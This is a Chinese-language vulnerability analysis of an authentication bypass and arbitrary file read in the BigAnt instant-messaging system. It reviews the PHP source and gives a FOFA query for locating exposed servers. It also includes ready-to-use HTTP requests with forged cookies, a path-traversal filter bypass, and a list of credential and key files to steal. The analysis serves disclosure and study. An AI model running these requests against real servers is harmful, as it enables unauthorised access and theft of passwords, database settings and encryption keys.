漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 downloadSharedFile 接口存在任意文件读取/下载漏洞,攻击者可以通过特殊的参数绕过系统限制,读取系统上任意文件内容,造成敏感内容泄露或为进一步攻击做准备。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
先看初始化部分 \Pan\Controller\ShareUrlController::_initialize
function _initialize() {
parent::_initialize();
}
class PanBaseController extends BaseController {
public $funType = 'addin';
//是否验证登录
protected $validLogin = 1 ;
//是否验证登录
protected $validAdmin = 0 ;
//登入验证
public function _initialize(){
if ($this->validLogin){
if (! sp_user_islogin()){
//重新获取cookie中的数据,自动登录
$userId = cookie('userId');
$saasId = cookie('saasId');
if($userId && $saasId){
$res = \Common\Lib\SaasSDK::trustLogin($saasId, $userId,'pan') ;
}else{
parent::common_logout('public/logout') ;
}
}
//zou 20160705 当证当前页面与当前登录是否一致
if(!parent::valid_clientid_bool()){
parent::common_logout('public/logout') ;
}
}
//有时从其它应用转过来,没能经过load会有问题 死循化
if (! sp_get_root()){
$this->redirect('public/load');
exit;
}
if ($this->validAdmin){
if (! sp_user_isadmin()){
$this->error(L('_ONLY_MANAGE_VISIT_'));
exit;
}
}
//权限
$this->uid = sp_user_id();
/* //重置用户所拥有的云盘权限
$roots = \Pan\Lib\PanSDK::getUserRoots($this->uid);
sp_set_root($roots); */
parent::_initialize();
//初始化参数
$aces = array();
$aces[] = array('name'=>L('_PAN_'),'value'=>2) ;
$this->initParam(1,"pan",L("_APP_NAME_"),$aces,"pan_12");
}
因此我们可以在cookie伪造userId和saasId来获取一个合法的PHPSESSID来通过权限校验。
然后再看文件读取部分downloadSharedFile()的实现逻辑
/**
* 下载分享的文件
* sw create in 2017-9-4 下午5:24:51
*/
public function downloadSharedFile()
{
$truePath = I('true_path');
$fileName = I('file_name');
$truePath=str_replace("../","",$truePath);
sp_download($truePath,$fileName);
}
跟进sp_download方法,这里的$truePath=str_replace("../","",$truePath);还是只替换了一次,因此如果需要目录穿越,可以考虑双写或者在Windows服务器环境采用反斜杠..\来绕过。
/**
* 此函数支持断点续传,但不支持HTTP的下载
* @param string $path
* @param string $name
* @param number $isSelfRoot
*/
function sp_download($path='',$name = '',$isSelfRoot = 1){
// 过滤 ../
$path = str_replace("../", "", $path);
//如果是相对路径,加上本站的地址
if ($isSelfRoot){
$path = $_SERVER ['DOCUMENT_ROOT'] . $path;
//$path = $_SERVER ['HTTP_HOST'] . $path;
}
//取路径的文件名
if ($name == ""){
$info = pathinfo($path);
$name = $info['basename'] ;
}
/** @var \Common\Logic\FileDownloadLogic $FileDownload */
$FileDownload = D("Common/FileDownload",'Logic');
$FileDownload->download($path,$name,true);
}
这里同样有../ 过滤,可采用同样的方式来绕过。

$FileDownload->download($path,$name,true)实现逻辑如下
public function download($file, $name='', $reload=false){
set_time_limit(0);
if(!file_exists($file)){
throw new \RuntimeException("file is not exist:".$file);
}
if($name == ''){
$name = basename($file);
}
$name = sp_browser_filename($name);
//下载时候不进行判断是否加密,文件加密状态可变
try{
$isEncryptFile = \Common\Lib\FileEncrypt\FileEncryptLib::isEncryptFile($file);
if($isEncryptFile){
\Common\Lib\FileEncrypt\FileEncryptLib::fileDecryptDownload($file,$name);
die;
}
}catch(\RuntimeException $e){
die($e->getMessage());
}
if($reload){
$fp = fopen($file, 'rb');
$file_size = filesize($file);
$ranges = $this->getRange($file_size);
if($ranges != null){ // 使用续传
header('cache-control:public');
header('content-type:application/octet-stream;charset=utf-8');
header('content-disposition:attachment; filename="'.$name.'"');
header('HTTP/1.1 206 Partial Content');
header('Accept-Ranges:bytes');
// 剩余长度
header(sprintf('content-length:%u', $ranges['end'] - $ranges['start']));
// range信息
header(sprintf('content-range:bytes %s-%s/%s', $ranges['start'], $ranges['end'], $file_size));
// fp指针跳到断点位置
fseek($fp, sprintf('%u', $ranges['start']));
ob_clean();
while(!feof($fp)){
echo fread($fp, round($this->_speed * 1024, 0));
ob_flush();
flush();
sleep(1); // 用于测试,减慢下载速度
}
($fp != null) && fclose($fp);
exit();
}
}
//dump($file);die;
Http::download($file,$name);
}
即使是加密文件也会自行解密后下载,到这就非常清楚了,对于用户提供的文件路径没有任何过滤或校验,直接操作导致的任意文件读取/下载漏洞。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/Pan/ShareUrl/downloadSharedFile.html
/Pan/ShareUrl/downloadSharedFile

先访问获取合法PHPSESSID
GET /Pan/ShareUrl/downloadSharedFile?file_name=1.png&true_path=/bom.php HTTP/1.1
Host: bigant.local:8000
Cookie: userId=admin;saasId=CC1743B5-E5D5-42CE-B5F6-42E24464C8D0

可以通过伪造获取的PHPSESSID直接进入云盘,达到权限绕过,查看所有网盘文件。

把PHPSESSID添加到cookie再次请求Location的地址

再次请求文件下载接口
GET /Pan/ShareUrl/downloadSharedFile?file_name=1.png&true_path=/bom.php HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=quhqmbu3mq8hkqmo6393lijqhq

成功读取到web根目录下的 bom.php文件内容。
或者读取其他敏感文件如/Runtime/Data/ms_admin.php 它包含当前系统用户admin的密码
或者 installData.php ,包含系统数据库配置信息
或者 msg_encrypt_key.php 包含消息解密aes密钥


